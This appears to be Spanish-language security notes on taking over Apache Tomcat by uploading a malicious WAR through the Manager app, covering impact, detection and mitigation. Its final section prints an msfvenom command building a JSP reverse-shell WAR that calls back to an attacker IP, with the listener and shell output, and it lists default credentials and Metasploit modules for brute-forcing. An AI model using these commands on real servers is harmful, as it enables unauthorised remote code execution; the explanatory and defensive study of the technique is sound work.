1. Descripción técnica del ataque
Apache Tomcat incluye una aplicación de administración llamada Manager (/manager/html) que permite desplegar aplicaciones web subiendo archivos WAR (Web Application Archive). Un WAR es esencialmente un ZIP que contiene una aplicación Java/JSP completa.
Si un atacante obtiene acceso al Manager (normalmente por credenciales débiles o por defecto), puede subir un WAR que contenga un JSP malicioso. Al desplegarse, Tomcat lo expone en una ruta accesible (/<nombre>/), y al solicitarla se ejecuta el JSP con los privilegios del proceso Tomcat, obteniendo ejecución remota de código.
No es un fallo del software en sí, sino un abuso de funcionalidad legítima habilitado por una configuración insegura (credenciales débiles + Manager expuesto).
2. Impacto de la vulnerabilidad
- RCE con los privilegios del usuario que ejecuta Tomcat (a menudo
tomcat). - Punto de entrada inicial muy común que da pie a escalada de privilegios.
- Acceso persistente: la webshell desplegada queda disponible hasta que se elimine la aplicación.
3. Historia y evolución
- El despliegue de WAR a través del Manager es una funcionalidad presente desde hace décadas en Tomcat.
- El vector clásico es el uso de credenciales por defecto (
tomcat:tomcat,tomcat:s3cret,admin:admin, etc.) que muchos despliegues nunca cambian. - Está plenamente automatizado en Metasploit (
exploit/multi/http/tomcat_mgr_uploadytomcat_mgr_deploy) y es uno de los caminos más frecuentes en CTFs con Tomcat.
4. Factores que la hacen posible
- La aplicación Manager accesible desde la red del atacante (
/manager/html). - Credenciales válidas del rol
manager-gui(frecuentemente débiles, por defecto o filtradas en mensajes de error / archivostomcat-users.xml). - Permisos de despliegue habilitados para ese rol.
5. Detección
- Identificación del servicio:
nmap -sCV -p8080 target # Apache Tomcat- Acceso al Manager: navegar a
http://target:8080/manager/html. Al cancelar el prompt de autenticación, Tomcat suele mostrar una página de error que revela las credenciales por defecto de ejemplo. - Fuerza bruta de credenciales: Metasploit (
auxiliary/scanner/http/tomcat_mgr_login) o hydra.
6. Mitigación
- Cambiar las credenciales por defecto y usar contraseñas fuertes para los roles de gestión.
- Restringir el acceso al Manager por IP (
RemoteAddrValve) o eliminarlo si no se usa. - No exponer Tomcat directamente a Internet; situarlo tras un proxy inverso con autenticación.
- Ejecutar Tomcat con un usuario sin privilegios para limitar el impacto de un compromiso.
7. Ejemplo de explotación real
Generamos un WAR malicioso con msfvenom, lo subimos por el Manager y solicitamos su ruta:
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.5 LPORT=1234 -f war > pwned.war
Payload size: 1099 bytes
Final size of war file: 1099 bytes
❯ ncat -nlvp 1234
Ncat: Connection from target
tomcat@deploy:/var/lib/tomcat9$ id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)8. Clasificación
- Tipo: Insecure File Upload / Abuso de funcionalidad → Remote Code Execution
- CWE:
- CWE-434 – Unrestricted Upload of File with Dangerous Type
- CWE-1392 / CWE-1393 – Use of Default / Weak Credentials